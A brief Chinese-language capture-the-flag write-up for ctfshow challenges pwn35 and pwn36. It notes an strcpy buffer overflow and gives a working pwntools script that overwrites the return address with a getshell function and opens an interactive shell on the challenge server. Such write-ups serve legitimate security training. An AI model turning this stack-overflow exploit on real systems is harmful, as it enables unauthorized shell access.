pwn35:
这题像极了pwn23 代码就是判断我们输入的参数是否大于1,如果大于1进入ctfshow()函数并且将我们输入的第一个参数作为ctfshow函数的参数。
ctfshow函数用到了strcpy()函数,而这个函数是可以发生溢出的
pwn36:
偷个懒直接给代码
from pwn import *
#p = process("./pwn")
p = remote("pwn.challenge.ctf.show", "28160")
getshell = 0x08048586 # 要覆盖上的EIP地址
payload = b'a'*44+p32(getshell) # 拼凑的payload
p.sendline(payload)
p.interactive()